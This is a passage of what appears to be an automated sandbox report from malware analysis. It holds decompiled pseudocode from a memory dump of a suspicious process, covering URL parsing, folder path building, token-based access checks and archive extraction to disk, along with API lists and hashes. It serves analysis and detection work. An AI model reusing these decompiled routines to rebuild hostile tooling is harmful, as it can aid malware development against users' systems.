				intOrPtr _v144;
				intOrPtr _v196;
				char* _v200;
				void* _v204;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t57;
				signed int _t58;
				int _t65;
				char* _t66;
				void* _t70;
				char* _t72;
				void* _t74;
				char* _t76;
				char* _t81;
				void* _t86;
				void* _t102;
				CHAR* _t104;
				void* _t107;
				signed int _t108;
				void* _t109;
				void* _t110;
				void* _t111;
				intOrPtr _t112;
				void* _t114;
				void* _t115;

				_push(0xffffffff);
				_push(0x43e723);
				_push( *[fs:0x0]);
				_t110 = _t109 - 0xbc;
				_t57 =  *0x450664; // 0x30e242aa
				_t58 = _t57 ^ _t108;
				_v20 = _t58;
				_push(_t58);
				 *[fs:0x0] =  &_v16;
				_v8 = 0;
				_v92 = 0xf;
				_v96 = 0;
				_v112 = 0;
				_v8 = 2;
				_t104 = _a4;
				if(_a24 < 0x10) {
					_t104 =  &_a4;
				}
				L00429B30( &_v84, 0, 0x40);
				L00429B30( &_v204, 0, 0x3c);
				_t111 = _t110 + 0x18;
				_v204 = 0x3c;
				_v200 =  &_v84;
				_v196 = 0x40;
				_t65 = InternetCrackUrlA(_t104, lstrlenA(_t104), 0x10000000,  &_v204);
				_t118 = _t65;
				_t66 = _v200;
				if(_t65 == 0) {
					_t66 = "http";
				}
				 *0x453510(_t66, "https");
				_push(0);
				_t112 = _t111 - 0x1c;
				_v144 = _t112;
				_t98 =  &_a32;
				E00410A80(_t112,  &_a4,  &_a32);
				_push( &_v140); // executed
				_t70 = E0040D190(_t118); // executed
				_t114 = _t112 + 0x30;
				_v8 = 3;
				E00405040(_t70,  &_v112);
				_v8 = 2;
				if(_v120 >= 0x10) {
					_t98 = _v140;
					_push(_v140);
					E00429B0B();
					_t114 = _t114 + 4;
				}
				_t72 = _v112;
				_v120 = 0xf;
				_v124 = 0;
				_v140 = 0;
				if(_v92 < 0x10) {
					_t72 =  &_v112;
				}
				_push("ERROR");
				_push(_t72);
				if( *0x453510() == 0) {
					_t74 = L00429C90("ERROR");
					_t115 = _t114 + 4;
					E004050C0(0x4512cc, "ERROR", _t74);
				} else {
					E004051C0(0x4512cc,  &_a4, 0, 0xffffffff);
					_t81 = _v112;
					_t122 = _v92 - 0x10;
					if(_v92 < 0x10) {
						_t81 =  &_v112;
					}
					E0040A7C0(0, 0xf, _t122, _t81); // executed
					_t115 = _t114 + 4;
				}
				_t76 = _v112;
				_v96 = 0;
				if(_v92 < 0x10) {
					_t76 =  &_v112;
				}
				 *_t76 = 0;
				if(_v92 >= 0x10) {
					_push(_v112);
					_t76 = E00429B0B();
					_t115 = _t115 + 4;
				}
				_v92 = 0xf;
				_v96 = 0;
				_v112 = 0;
				if(_a24 >= 0x10) {
					_t98 = _a4;
					_push(_a4);
					_t76 = E00429B0B();
					_t115 = _t115 + 4;
				}
				_a24 = 0xf;
				_a20 = 0;
				_a4 = 0;
				if(_a52 >= 0x10) {
					_push(_a32);
					_t76 = E00429B0B();
				}
				 *[fs:0x0] = _v16;
				_pop(_t102);
				_pop(_t107);
				_pop(_t86);
				return E00429B16(_t76, _t86, _v20 ^ _t108, _t98, _t102, _t107);
			}

0x0040e183
0x0040e185
0x0040e190
0x0040e191
0x0040e197
0x0040e19c
0x0040e19e
0x0040e1a4
0x0040e1a8
0x0040e1b0
0x0040e1b3
0x0040e1ba
0x0040e1bd
0x0040e1c0
0x0040e1c8
0x0040e1cb
0x0040e1cd
0x0040e1cd
0x0040e1d7
0x0040e1e6
0x0040e1eb
0x0040e1fe
0x0040e208
0x0040e20e
0x0040e220
0x0040e226
0x0040e228
0x0040e22e
0x0040e230
0x0040e230
0x0040e23b
0x0040e241
0x0040e242
0x0040e247
0x0040e24d
0x0040e256
0x0040e264
0x0040e265
0x0040e26a
0x0040e272
0x0040e276
0x0040e280
0x0040e287
0x0040e289
0x0040e28f
0x0040e290
0x0040e295
0x0040e295
0x0040e298
0x0040e2a0
0x0040e2a3
0x0040e2a6
0x0040e2af
0x0040e2b1
0x0040e2b1
0x0040e2b4
0x0040e2b9
0x0040e2c2
0x0040e2f0
0x0040e2f5
0x0040e303
0x0040e2c4
0x0040e2d0
0x0040e2d5
0x0040e2d8
0x0040e2db
0x0040e2dd
0x0040e2dd
0x0040e2e1
0x0040e2e6
0x0040e2e6
0x0040e308
0x0040e30b
0x0040e311
0x0040e313
0x0040e313
0x0040e316
0x0040e31b
0x0040e320
0x0040e321
0x0040e326
0x0040e326
0x0040e329
0x0040e32c
0x0040e32f
0x0040e335
0x0040e337
0x0040e33a
0x0040e33b
0x0040e340
0x0040e340
0x0040e343
0x0040e346
0x0040e349
0x0040e34f
0x0040e354
0x0040e355
0x0040e35a
0x0040e360
0x0040e368
0x0040e369
0x0040e36a
0x0040e378

APIs

_memset.LIBCMT ref: 0040E1D7
_memset.LIBCMT ref: 0040E1E6
lstrlenA.KERNEL32(?,10000000,?,?,?,30E242AA), ref: 0040E218
InternetCrackUrlA.WININET(?,00000000), ref: 0040E220
StrCmpCA.SHLWAPI(?,https,?,?,30E242AA), ref: 0040E23B
StrCmpCA.SHLWAPI(?,ERROR), ref: 0040E2BA
_strlen.LIBCMT ref: 0040E2F0

Strings

http, xrefs: 0040E230, 0040E23A
@, xrefs: 0040E20E
https, xrefs: 0040E235
ERROR, xrefs: 0040E2B4, 0040E2EB, 0040E2F9
<, xrefs: 0040E1FE

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: _memset$CrackInternet_strlenlstrlen
String ID: <$@$ERROR$http$https
API String ID: 2632683762-156369483
Opcode ID: f3f18102021ace32f8c4e2e79e691c4b866b9a12579fa25ab2f9a9e817f641a8
Instruction ID: db57a1aa8deeaa74a9f2eed841b5181c96ca242cdbff1173b213eaf531c5a427
Opcode Fuzzy Hash: f3f18102021ace32f8c4e2e79e691c4b866b9a12579fa25ab2f9a9e817f641a8
Instruction Fuzzy Hash: 6B5161B1D00258EBDB00DF95D841BDEBBB8AF14704F50456EF909AB241D738AA54CB99

Uniqueness

Uniqueness Score: -1.00%

Function 0041AE60 Relevance: 16.7, APIs: 11, Instructions: 199
stringCOMMON

Download Yara Rule

C-Code - Quality: 57%

			E0041AE60(CHAR* __ecx, CHAR* __edx, intOrPtr _a4, CHAR* _a8) {
				short _v8;
				char _v16;
				signed int _v20;
				char _v284;
				char _v548;
				void* _v1548;
				intOrPtr _v1556;
				char _v1560;
				char _v1576;
				intOrPtr _v1584;
				char _v1588;
				short _v1604;
				char _v1608;
				char _v1612;
				CHAR* _v1616;
				CHAR* _v1620;
				intOrPtr _v1624;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t70;
				signed int _t71;
				CHAR* _t87;
				void* _t89;
				WCHAR* _t93;
				signed char _t94;
				intOrPtr _t98;
				intOrPtr _t99;
				void* _t104;
				intOrPtr _t105;
				intOrPtr _t106;
				void* _t112;
				char _t113;
				void* _t114;
				void* _t143;
				void* _t145;
				void* _t147;
				void* _t148;
				intOrPtr _t151;
				void* _t152;
				signed int _t153;
				void* _t154;
				void* _t159;

				_t70 =  *0x450664; // 0x30e242aa
				_t71 = _t70 ^ _t153;
				_v20 = _t71;
				 *[fs:0x0] =  &_v16;
				_t113 = 0;
				_v1624 = _a4;
				_v1616 = __ecx;
				_v1620 = __edx;
				_v1608 = 0;
				_v1612 = 0;
				L00429B30( &_v548, 0, 0x104);
				L00429B30( &_v1548, 0, 0x3e8);
				_t16 = (0 |  *0x4534c0(0, 0x1c, 0, 0,  &_v1548, _t71, _t143, _t148, _t112,  *[fs:0x0], E0043F0FB, 0xffffffff) < 0x00000000) - 1; // -1
				lstrcatA( &_v548, _t16 &  &_v1548);
				lstrcatA( &_v548, _a8);
				L00429B30( &_v284, 0, 0x104);
				lstrcatA( &_v284,  &_v548);
				lstrcatA( &_v284, "\\");
				_t87 =  *0x452d14; // 0x509af68
				lstrcatA( &_v284, _t87);
				_v1556 = 0xf;
				_v1560 = 0;
				_v1576 = 0;
				_t89 = L00429C90( &_v284);
				_t159 = _t154 - 0x64c + 0x28;
				E004050C0( &_v1576,  &_v284, _t89);
				_v8 = 0;
				_t93 = L004205E0( &_v1576,  &_v1604);
				if(_t93[0xa] >= 8) {
					_t93 =  *_t93;
				}
				_t94 = GetFileAttributesW(_t93); // executed
				if(_t94 == 0xffffffff || (_t94 & 0x00000010) != 0) {
					_t145 = 0;
				} else {
					_t145 = 1;
				}
				if(_v1584 >= 8) {
					_push(_v1604);
					E00429B0B();
					_t159 = _t159 + 4;
				}
				_v8 = 0xffffffff;
				_v1584 = 7;
				_v1588 = _t113;
				_v1604 = 0;
				if(_v1556 >= 0x10) {
					_push(_v1576);
					E00429B0B();
					_t159 = _t159 + 4;
				}
				_v1556 = 0xf;
				_v1560 = _t113;
				_v1576 = _t113;
				if(_t145 != _t113) {
					_t104 = E00414A80( &_v1608,  &_v1612,  &_v284); // executed
					if(_t104 == 0) {
						_t105 = _v1608;
						if(_t105 != _t113) {
							 *0x453424(_t105, _t113);
							_v1608 = _t113;
						}
						_t106 = _v1612;
						if(_t106 != _t113) {
							 *0x4534d8(_t106);
						}
						_v1608 = _t113;
						_v1612 = _t113;
					}
				}
				_t151 = _v1624;
				_t57 = _t151 + 0x20; // 0x6f72505c
				_t146 = _v1616;
				_t141 = _v1608;
				E00416F40(_t151, 0x4485e7,  &_v548, _v1616, _v1608, _v1612,  *_t57, _v1620, _t113); // executed
				if( *((intOrPtr*)(_t151 + 6)) != _t113) {
					E0041A540( &_v548, _t146, _t151, _t113); // executed
					_t113 = 0;
				}
				_t98 = _v1608;
				if(_t98 != _t113) {
					 *0x453424(_t98, _t113);
					_v1608 = _t113;
				}
				_t99 = _v1612;
				if(_t99 != _t113) {
					_t99 =  *0x4534d8(_t99);
				}
				 *[fs:0x0] = _v16;
				_pop(_t147);
				_pop(_t152);
				_pop(_t114);
				return E00429B16(_t99, _t114, _v20 ^ _t153, _t141, _t147, _t152);
			}

0x0041ae77
0x0041ae7c
0x0041ae7e
0x0041ae88
0x0041ae94
0x0041ae9b
0x0041aea9
0x0041aeaf
0x0041aeb5
0x0041aebb
0x0041aec1
0x0041aed6
0x0041aefd
0x0041af0a
0x0041af18
0x0041af2b
0x0041af41
0x0041af53
0x0041af59
0x0041af66
0x0041af73
0x0041af7d
0x0041af83
0x0041af89
0x0041af8e
0x0041af9f
0x0041afb0
0x0041afb3
0x0041afc0
0x0041afc2
0x0041afc2
0x0041afc5
0x0041afce
0x0041afdb
0x0041afd4
0x0041afd4
0x0041afd4
0x0041afe3
0x0041afeb
0x0041afec
0x0041aff1
0x0041aff1
0x0041aff6
0x0041b004
0x0041b00e
0x0041b014
0x0041b01b
0x0041b023
0x0041b024
0x0041b029
0x0041b029
0x0041b02c
0x0041b036
0x0041b03c
0x0041b044
0x0041b059
0x0041b063
0x0041b065
0x0041b06d
0x0041b071
0x0041b077
0x0041b077
0x0041b07d
0x0041b085
0x0041b088
0x0041b088
0x0041b08e
0x0041b094
0x0041b094
0x0041b063
0x0041b0a0
0x0041b0a6
0x0041b0af
0x0041b0b7
0x0041b0cf
0x0041b0d7
0x0041b0e3
0x0041b0e8
0x0041b0e8
0x0041b0ea
0x0041b0f2
0x0041b0f6
0x0041b0fc
0x0041b0fc
0x0041b102
0x0041b10a
0x0041b10d
0x0041b10d
0x0041b116
0x0041b11e
0x0041b11f
0x0041b120
0x0041b12e

APIs

_memset.LIBCMT ref: 0041AEC1
_memset.LIBCMT ref: 0041AED6
SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,?,?,?,0509AB00,00000000), ref: 0041AEEA
lstrcatA.KERNEL32(?,-00000001,?,?,?,?,0509AB00,00000000), ref: 0041AF0A
lstrcatA.KERNEL32(?,00000000,?,?,?,?,0509AB00,00000000), ref: 0041AF18
_memset.LIBCMT ref: 0041AF2B
lstrcatA.KERNEL32(?,?,?,?,?,?,?,?,?,0509AB00,00000000), ref: 0041AF41
lstrcatA.KERNEL32(?,004485EC,?,?,?,?,?,?,?,0509AB00,00000000), ref: 0041AF53
lstrcatA.KERNEL32(?,0509AF68,?,?,?,?,?,?,?,0509AB00,00000000), ref: 0041AF66
_strlen.LIBCMT ref: 0041AF89

Part of subcall function 004205E0: MultiByteToWideChar.KERNEL32(00000000,00000000,?,?,00000000,00000000,?,00000000), ref: 0042060A
Part of subcall function 004205E0: MultiByteToWideChar.KERNEL32(00000000,00000000,?,00000000,00000000,00000000,00000000), ref: 00420646
Part of subcall function 004205E0: _wcslen.LIBCMT ref: 00420660

GetFileAttributesW.KERNEL32(00000000,?,00000000,?,?,?,?,?,?,?,?,0509AB00,00000000), ref: 0041AFC5

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: lstrcat$_memset$ByteCharMultiWide$AttributesFileFolderPath_strlen_wcslen
String ID:
API String ID: 1925856788-0
Opcode ID: bed24cab7d6aa4f5dd44783e5d5b962968f49aaa3be7fe6698717c55f2c0abdb
Instruction ID: 360495fb0b98cc778a8e8f1f52ea39aeffd12e139f04238c0bd78383707e4034
Opcode Fuzzy Hash: bed24cab7d6aa4f5dd44783e5d5b962968f49aaa3be7fe6698717c55f2c0abdb
Instruction Fuzzy Hash: EB8150B1900228AFDB20DF55DC85BEEB7BAFB98305F0045EAE509A3241DB359E94CF54

Uniqueness

Uniqueness Score: -1.00%

Function 0040BB00 Relevance: 16.6, APIs: 11, Instructions: 116
COMMON

Download Yara Rule

C-Code - Quality: 65%

			E0040BB00(CHAR* __edi, long _a4) {
				signed int _v12;
				struct _GENERIC_MAPPING _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				char _v48;
				long _v52;
				void* _v56;
				void* _v60;
				char _v64;
				char _v68;
				char _v72;
				void* __ebx;
				void* __esi;
				signed int _t42;
				int _t45;
				int _t51;
				signed char _t64;
				struct _SECURITY_DESCRIPTOR* _t79;
				signed int _t80;

				_t78 = __edi;
				_t42 =  *0x450664; // 0x30e242aa
				_v12 = _t42 ^ _t80;
				_t64 = 0;
				_v52 = 0;
				_t45 = GetFileSecurityA(__edi, 7, 0, 0,  &_v52); // executed
				if(_t45 == 0 && GetLastError() == 0x7a) {
					_t79 = E0042A0BB(_t73, __edi, _t79, _v52);
					if(_t79 != 0) {
						_t73 =  &_v52;
						_t51 = GetFileSecurityA(__edi, 7, _t79, _v52,  &_v52); // executed
						if(_t51 != 0) {
							_v56 = 0;
							if(OpenProcessToken(GetCurrentProcess(), 0x2000e,  &_v56) != 0) {
								_v60 = 0;
								if(DuplicateToken(_v56, 2,  &_v60) != 0) {
									_v28.GenericWrite = 0;
									_v28.GenericExecute = 0;
									_v28.GenericAll = 0;
									_v48 = 0;
									_v44 = 0;
									_v40 = 0;
									_v36 = 0;
									_v32 = 0;
									_v68 = 0;
									_v72 = 0x14;
									_v64 = 0;
									_v28.GenericRead = 0x120089;
									_v28.GenericWrite = 0x120116;
									_v28.GenericExecute = 0x1200a0;
									_v28.GenericAll = 0x1f01ff;
									MapGenericMask( &_a4,  &_v28);
									_push( &_v64);
									_push( &_v68);
									_push( &_v72);
									_push( &_v48);
									_push( &_v28);
									_push(_a4);
									_push(_v60);
									_push(_t79);
									if( *0x453380() != 0) {
										_t64 = 0 | _v64 == 0x00000001;
									}
									CloseHandle(_v60);
								}
								_t73 = _v56;
								CloseHandle(_v56);
							}
							E0042A081(_t79);
						}
					}
				}
				return E00429B16(_t64 & 0x000000ff, _t64, _v12 ^ _t80, _t73, _t78, _t79);
			}

0x0040bb00
0x0040bb06
0x0040bb0d
0x0040bb16
0x0040bb1d
0x0040bb20
0x0040bb28
0x0040bb46
0x0040bb4d
0x0040bb56
0x0040bb5f
0x0040bb67
0x0040bb76
0x0040bb88
0x0040bb98
0x0040bba3
0x0040bbb2
0x0040bbb5
0x0040bbb8
0x0040bbbc
0x0040bbbf
0x0040bbc2
0x0040bbc5
0x0040bbc8
0x0040bbcb
0x0040bbce
0x0040bbd5
0x0040bbd8
0x0040bbdf
0x0040bbe6
0x0040bbed
0x0040bbf4
0x0040bbfd
0x0040bc01
0x0040bc05
0x0040bc0c
0x0040bc13
0x0040bc14
0x0040bc15
0x0040bc16
0x0040bc1f
0x0040bc25
0x0040bc25
0x0040bc2c
0x0040bc2c
0x0040bc32
0x0040bc36
0x0040bc36
0x0040bc3d
0x0040bc42
0x0040bb67
0x0040bb4d
0x0040bc57

APIs

GetFileSecurityA.ADVAPI32(?,00000007,00000000,00000000,?), ref: 0040BB20
GetLastError.KERNEL32(?,00000007,00000000,00000000,?), ref: 0040BB2E
_malloc.LIBCMT ref: 0040BB41

Part of subcall function 0042A0BB: __FF_MSGBANNER.LIBCMT ref: 0042A0D4
Part of subcall function 0042A0BB: __NMSG_WRITE.LIBCMT ref: 0042A0DB
Part of subcall function 0042A0BB: RtlAllocateHeap.NTDLL(00000000,00000001), ref: 0042A100

GetFileSecurityA.ADVAPI32(?,00000007,00000000,?,?), ref: 0040BB5F
GetCurrentProcess.KERNEL32(0002000E,?,?,00000007,00000000,?,?), ref: 0040BB79
OpenProcessToken.ADVAPI32(00000000,?,00000007,00000000,?,?), ref: 0040BB80
DuplicateToken.ADVAPI32(?,00000002,?,?,00000007,00000000,?,?), ref: 0040BB9B
MapGenericMask.ADVAPI32(?,?,?,00000007,00000000,?,?), ref: 0040BBF4
CloseHandle.KERNEL32(?,?,00000007,00000000,?,?), ref: 0040BC2C
CloseHandle.KERNEL32(?,?,00000007,00000000,?,?), ref: 0040BC36
_free.LIBCMT ref: 0040BC3D

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: CloseFileHandleProcessSecurityToken$AllocateCurrentDuplicateErrorGenericHeapLastMaskOpen_free_malloc
String ID:
API String ID: 91412352-0
Opcode ID: a45ee9302a276b84ff7354f11feda0a9edf7535a55818d97637f5036c8281807
Instruction ID: 0ae843eb0483ea726a03a9603ee4430b136b30fb41820483cabeab157b6e5239
Opcode Fuzzy Hash: a45ee9302a276b84ff7354f11feda0a9edf7535a55818d97637f5036c8281807
Instruction Fuzzy Hash: 3F411BB1D0031DAFDB14DFA5ED859EEBBB8FB48741F00412EF505A6241EB749A44CBA8

Uniqueness

Uniqueness Score: -1.00%

Function 00409A10 Relevance: 16.1, APIs: 6, Strings: 3, Instructions: 358
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00409A10(long __ecx, void* __edx, signed int _a4, signed int _a8, intOrPtr _a12, signed int _a16) {
				signed int _v8;
				char _v275;
				char _v276;
				char _v540;
				struct _FILETIME _v560;
				struct _FILETIME _v568;
				struct _FILETIME _v576;
				unsigned int _v580;
				char _v844;
				char _v845;
				signed int _v852;
				long _v856;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t108;
				intOrPtr _t111;
				signed int _t124;
				signed int* _t128;
				intOrPtr _t131;
				signed int _t134;
				signed int _t136;
				signed int _t139;
				signed int _t140;
				signed int _t142;
				signed int _t145;
				signed int _t160;
				void* _t161;
				intOrPtr _t167;
				signed int _t170;
				signed int _t172;
				signed int* _t175;
				intOrPtr* _t178;
				signed int _t190;
				signed int _t195;
				signed int _t206;
				void* _t210;
				signed int _t213;
				long _t225;
				signed int _t227;
				signed int _t229;
				signed int _t230;
				signed int _t232;
				void* _t233;
				signed int _t234;
				signed int _t236;
				void* _t237;
				void* _t239;
				void* _t240;

				_t210 = __edx;
				_t179 = __ecx;
				_t108 =  *0x450664; // 0x30e242aa
				_v8 = _t108 ^ _t236;
				_t229 = _a16;
				_t175 = __ecx;
				_v856 = __ecx;
				_v852 = _a8;
				if(_t229 == 3) {
					_t111 =  *((intOrPtr*)(__ecx + 4));
					_t229 = _a4;
					__eflags = _t229 - _t111;
					if(_t229 == _t111) {
						L17:
						_t211 = _v852;
						_t181 = _a12;
						_t229 = L00408F00( *_t175, _a12, _v852,  &_v845);
						__eflags = _t229;
						if(_t229 <= 0) {
							_t224 =  *_t175;
							E00409160(_t181,  *_t175);
							_t175[1] = 0xffffffff;
						}
						__eflags = _v845;
						if(_v845 == 0) {
							__eflags = _t229;
							if(_t229 <= 0) {
								_t41 = _t229 + 0x6a; // 0x6a
								asm("sbb eax, eax");
								__eflags = _v8 ^ _t236;
								return E00429B16(( ~_t41 & 0x04fff000) + 0x1000, _t175, _v8 ^ _t236, _t211, _t224, _t229);
							} else {
								__eflags = _v8 ^ _t236;
								return E00429B16(0x600, _t175, _v8 ^ _t236, _t211, _t224, _t229);
							}
						} else {
							goto L20;
						}
					} else {
						__eflags = _t111 - 0xffffffff;
						if(_t111 != 0xffffffff) {
							_t224 =  *__ecx;
							E00409160(__ecx,  *__ecx);
						}
						_t124 =  *_t175;
						_t175[1] = 0xffffffff;
						__eflags = _t229 -  *((intOrPtr*)(_t124 + 4));
						if(_t229 >=  *((intOrPtr*)(_t124 + 4))) {
							goto L3;
						} else {
							__eflags = _t229 -  *((intOrPtr*)(_t124 + 0x10));
							if(_t229 <  *((intOrPtr*)(_t124 + 0x10))) {
								E00408950(_t124);
								_t229 = _a4;
							}
							_t190 =  *_t175;
							__eflags =  *((intOrPtr*)(_t190 + 0x10)) - _t229;
							if( *((intOrPtr*)(_t190 + 0x10)) < _t229) {
								do {
									_t230 =  *_t175;
									__eflags = _t230;
									if(_t230 != 0) {
										__eflags =  *(_t230 + 0x18);
										if( *(_t230 + 0x18) != 0) {
											_t131 =  *((intOrPtr*)(_t230 + 0x10)) + 1;
											__eflags = _t131 -  *((intOrPtr*)(_t230 + 4));
											if(_t131 !=  *((intOrPtr*)(_t230 + 4))) {
												 *((intOrPtr*)(_t230 + 0x10)) = _t131;
												 *((intOrPtr*)(_t230 + 0x14)) =  *((intOrPtr*)(_t230 + 0x14)) +  *((intOrPtr*)(_t230 + 0x50)) +  *((intOrPtr*)(_t230 + 0x4c)) +  *((intOrPtr*)(_t230 + 0x48)) + 0x2e;
												_t134 = L00408550(_t230, _t230 + 0x28, _t230 + 0x78, 0, 0);
												_t237 = _t237 + 0x10;
												asm("sbb eax, eax");
												_t136 =  ~_t134 + 1;
												__eflags = _t136;
												 *(_t230 + 0x18) = _t136;
											}
										}
									}
									_t213 =  *_t175;
									__eflags =  *((intOrPtr*)(_t213 + 0x10)) - _a4;
								} while ( *((intOrPtr*)(_t213 + 0x10)) < _a4);
							}
							E00408D90( *_t175, _t175[0x4e], _t175[0x4e]); // executed
							_t128 = _v856;
							_t237 = _t237 + 4;
							_t128[1] = _a4;
							_t175 = _t128;
							goto L17;
						}
					}
				} else {
					if(_t229 == 2 || _t229 == 1) {
						__eflags = _t175[1] - 0xffffffff;
						if(_t175[1] != 0xffffffff) {
							E00409160(_t179,  *_t175);
						}
						_t139 =  *_t175;
						_t224 = _a4;
						_t175[1] = 0xffffffff;
						__eflags = _t224 -  *((intOrPtr*)(_t139 + 4));
						if(_t224 >=  *((intOrPtr*)(_t139 + 4))) {
							goto L3;
						} else {
							__eflags = _t224 -  *((intOrPtr*)(_t139 + 0x10));
							if(_t224 <  *((intOrPtr*)(_t139 + 0x10))) {
								E00408950(_t139);
								_t229 = _a16;
							}
							_t140 =  *_t175;
							__eflags =  *((intOrPtr*)(_t140 + 0x10)) - _t224;
							if( *((intOrPtr*)(_t140 + 0x10)) < _t224) {
								do {
									_t234 =  *_t175;
									__eflags = _t234;
									if(_t234 != 0) {
										__eflags =  *(_t234 + 0x18);
										if( *(_t234 + 0x18) != 0) {
											_t167 =  *((intOrPtr*)(_t234 + 0x10)) + 1;
											__eflags = _t167 -  *((intOrPtr*)(_t234 + 4));
											if(_t167 !=  *((intOrPtr*)(_t234 + 4))) {
												 *((intOrPtr*)(_t234 + 0x14)) =  *((intOrPtr*)(_t234 + 0x14)) +  *((intOrPtr*)(_t234 + 0x50)) +  *((intOrPtr*)(_t234 + 0x4c)) +  *((intOrPtr*)(_t234 + 0x48)) + 0x2e;
												 *((intOrPtr*)(_t234 + 0x10)) = _t167;
												_t170 = L00408550(_t234, _t234 + 0x28, _t234 + 0x78, 0, 0);
												_t237 = _t237 + 0x10;
												asm("sbb eax, eax");
												_t172 =  ~_t170 + 1;
												__eflags = _t172;
												 *(_t234 + 0x18) = _t172;
											}
										}
									}
									_t206 =  *_t175;
									__eflags =  *((intOrPtr*)(_t206 + 0x10)) - _t224;
								} while ( *((intOrPtr*)(_t206 + 0x10)) < _t224);
								_t229 = _a16;
							}
							_t194 = _t175;
							E00409290(_t175,  &_v844, _t224);
							_t211 = _v580 >> 4;
							__eflags = _t211 & 0x00000001;
							if((_t211 & 0x00000001) != 0) {
								L20:
								__eflags = _v8 ^ _t236;
								return E00429B16(0, _t175, _v8 ^ _t236, _t211, _t224, _t229);
							} else {
								_v540 = 0;
								__eflags = _t229 - 1;
								if(_t229 != 1) {
									_t224 = _v852;
									_t232 = _t224;
									_t142 =  *_t232;
									_t195 = _t232;
									__eflags = _t142;
									while(_t142 != 0) {
										__eflags = _t142 - 0x2f;
										if(_t142 == 0x2f) {
											L43:
											_t224 = _t195 + 1;
										} else {
											__eflags = _t142 - 0x5c;
											if(_t142 == 0x5c) {
												goto L43;
											}
										}
										_t142 =  *(_t195 + 1);
										_t195 = _t195 + 1;
										__eflags = _t142;
									}
									E0042A924( &_v276, _t232, 0x104);
									_t239 = _t237 + 0xc;
									__eflags = _t224 - _t232;
									if(_t224 != _t232) {
										 *((char*)(_t236 + _t224 - _t232 - 0x110)) = 0;
										_t145 = _v276;
										__eflags = _t145 - 0x2f;
										if(_t145 == 0x2f) {
											L55:
											wsprintfA( &_v540, "%s%s",  &_v276, _t224);
											_t237 = _t239 + 0x10;
											goto L48;
										} else {
											__eflags = _t145 - 0x5c;
											if(_t145 == 0x5c) {
												goto L55;
											} else {
												__eflags = _t145;
												if(_t145 == 0) {
													goto L47;
												} else {
													__eflags = _v275 - 0x3a;
													if(_v275 != 0x3a) {
														goto L47;
													} else {
														goto L55;
													}
												}
											}
										}
										goto L73;
									} else {
										_v276 = 0;
										L47:
										wsprintfA( &_v540, "%s%s%s",  &(_t175[0x50]),  &_v276, _t224);
										_t237 = _t239 + 0x14;
									}
									L48:
									_t194 = _v580;
									_t211 =  &_v540;
									_t233 =  *0x453374( &_v540, 0x40000000, 0, 0, 2, _v580, 0);
								} else {
									_t233 = _v852;
								}
								__eflags = _t233 - 0xffffffff;
								if(_t233 != 0xffffffff) {
									E00408D90( *_t175, _t194, _t175[0x4e]);
									_t178 = _v856;
									_t240 = _t237 + 4;
									__eflags =  *(_t178 + 0x13c);
									if(__eflags == 0) {
										_push(0x4000);
										_t161 = E004290CB(_t224, _t233, __eflags);
										_t240 = _t240 + 4;
										 *(_t178 + 0x13c) = _t161;
									}
									_v852 = 0;
									while(1) {
										_t220 =  *(_t178 + 0x13c);
										_t199 = 0x4000;
										_t225 = L00408F00( *_t178, 0x4000,  *(_t178 + 0x13c),  &_v845);
										_t240 = _t240 + 8;
										__eflags = _t225 - 0xffffff96;
										if(_t225 == 0xffffff96) {
											break;
										}
										__eflags = _t225;
										if(__eflags < 0) {
											L65:
											_v852 = 0x5000000;
										} else {
											if(__eflags <= 0) {
												L63:
												__eflags = _v845;
												if(_v845 == 0) {
													__eflags = _t225;
													if(_t225 != 0) {
														continue;
													} else {
														goto L65;
													}
												}
											} else {
												_t199 =  *(_t178 + 0x13c);
												_t160 = WriteFile(_t233,  *(_t178 + 0x13c), _t225,  &_v856, 0);
												__eflags = _t160;
												if(_t160 == 0) {
													_v852 = 0x400;
												} else {
													goto L63;
												}
											}
										}
										L66:
										E00409160(_t199,  *_t178);
										_t227 = _v852;
										__eflags = _t227;
										if(_t227 == 0) {
											_t220 =  &_v560;
											SetFileTime(_t233,  &_v568,  &_v576,  &_v560);
										}
										__eflags = _a16 - 1;
										if(_a16 != 1) {
											CloseHandle(_t233);
										}
										__eflags = _v8 ^ _t236;
										return E00429B16(_t227, _t178, _v8 ^ _t236, _t220, _t227, _t233);
										goto L73;
									}
									_v852 = 0x1000;
									goto L66;
								} else {
									__eflags = _v8 ^ _t236;
